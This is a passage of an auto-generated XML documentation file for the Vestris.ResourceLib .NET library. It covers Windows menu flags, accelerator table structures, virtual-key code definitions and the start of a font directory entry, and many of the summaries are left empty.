   </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_USECHECKBITMAPS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_OWNERDRAW\">\n            <summary>\n            Indicates that the owner window of the menu is responsible for drawing all visual \n            aspects of the menu item, including highlighted, selected, and inactive states. \n            This option is not valid for an item in a menu bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_POPUP\">\n            <summary>\n            Indicates that the item is one that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBARBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column. The old and new columns \n            are separated by a bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SYSMENU\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HELP\">\n            <summary>\n            Indicates that the menu item has a vertical separator to its left.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MOUSESELECT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_END\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBARBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_OWNERDRAW\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RADIOCHECK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTORDER\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_GRAYED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_CHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuResourceType\">\n            <summary>\n            Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut \n            menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more \n            of these values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Last\">\n            <summary>\n            Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Sub\">\n            <summary>\n            Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu \n            items in the corresponding drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ACCEL\">\n            <summary>\n            Defines an accelerator key used in an accelerator table.\n            http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.fVirt\">\n            <summary>\n            Accelerator flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.key\">\n            <summary>\n            Accelerator key. This member can be either a virtual-key code or an ASCII character code. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.cmd\">\n            <summary>\n            Accelerator identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.AcceleratorVirtualKey\">\n            <summary>\n            Flags, fVirt field of the Accelerator table structure.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.VIRTKEY\">\n            <summary>\n            Virtual key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.NOINVERT\">\n            <summary>\n            Specifies that no top-level menu item is highlighted when the accelerator is used. \n            This is useful when defining accelerators for actions such as scrolling that do not \n            correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be \n            highlighted (if possible) when the accelerator is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.SHIFT\">\n            <summary>\n            Causes the accelerator to be activated only if the SHIFT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.CONTROL\">\n            <summary>\n            Causes the accelerator to be activated only if the CONTROL key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.ALT\">\n            <summary>\n            Causes the accelerator to be activated only if the ALT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.VirtualKeys\">\n            <summary>\n            Virtual key definitions.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LBUTTON\">\n            <summary>\n            Standard virtual left mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RBUTTON\">\n            <summary>\n            Standard virtual right mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CANCEL\">\n            <summary>\n            Ctrl-Break / Ctrl-C.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MBUTTON\">\n            <summary>\n            Standard virtual middle mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON1\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON2\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BACK\">\n            <summary>\n            Backspace.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_TAB\">\n            <summary>\n            Tab.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CLEAR\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RETURN\">\n            <summary>\n            Return.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SHIFT\">\n            <summary>\n            Shift.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONTROL\">\n            <summary>\n            Control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MENU\">\n            <summary>\n            Menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PAUSE\">\n            <summary>\n            Pause.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CAPITAL\">\n            <summary>\n            Caps lock.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANA\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_JUNJA\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_FINAL\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANJI\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ESCAPE\">\n            <summary>\n            Escape.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONVERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONCONVERT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ACCEPT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MODECHANGE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SPACE\">\n            <summary>\n            Space.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRIOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NEXT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_END\">\n            <summary>\n            End.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HOME\">\n            <summary>\n            Home.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LEFT\">\n            <summary>\n            Left arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_UP\">\n            <summary>\n            Up arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RIGHT\">\n            <summary>\n            Right arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DOWN\">\n            <summary>\n            Down arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRINT\">\n            <summary>\n            Print Screen.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXECUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SNAPSHOT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_INSERT\">\n            <summary>\n            Insert.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DELETE\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HELP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_APPS\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SLEEP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD0\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MULTIPLY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ADD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SEPARATOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SUBTRACT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DECIMAL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DIVIDE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F10\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F11\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F12\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F13\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F14\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F15\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F16\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F17\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F18\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F19\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F20\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F21\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F22\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F23\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F24\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMLOCK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SCROLL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_NEC_EQUAL\">\n            <summary>\n            NEC PC-9800 keyboard '=' key on numpad.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_JISHO\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Dictionary' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_MASSHOU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Unregister word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_TOUROKU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Register word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_LOYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Left OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_ROYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Right OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_BACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FORWARD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_REFRESH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_SEARCH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FAVORITES\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_HOME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_MUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_DOWN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_UP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_NEXT_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PREV_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PLAY_PAUSE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MAIL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MEDIA_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_1\">\n            <summary>\n            ';:' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PLUS\">\n            <summary>\n            '+' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COMMA\">\n            <summary>\n            ',' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_MINUS\">\n            <summary>\n            '-' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PERIOD\">\n            <summary>\n            '.' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_2\">\n            <summary>\n            '/?' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_3\">\n            <summary>\n            '`~' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_4\">\n            <summary>\n            '[{' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_5\">\n            <summary>\n            '\\|' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_6\">\n            <summary>\n            ']}' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_7\">\n            <summary>\n            ''\"' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AX\">\n            <summary>\n            'AX' key on Japanese AX kbd\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_102\">\n            <summary>\n            \"&lt;&gt;\" or \"\\|\" on RT 102-key kbd.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_HELP\">\n            <summary>\n            Help key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_00\">\n            <summary>\n            00 key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PROCESSKEY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PACKET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_RESET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_JUMP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_WSCTRL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CUSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FINISH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COPY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AUTO\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ENLW\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_BACKTAB\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CRSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EREOF\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PLAY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ZOOM\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONAME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.FONTDIRENTRY\">\n            <summary>\n            Contains information about an individual font in a font resource group. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVersion\">\n            <summary>\n            Specifies a user-defined version number for the resource data that tools can \n            use to 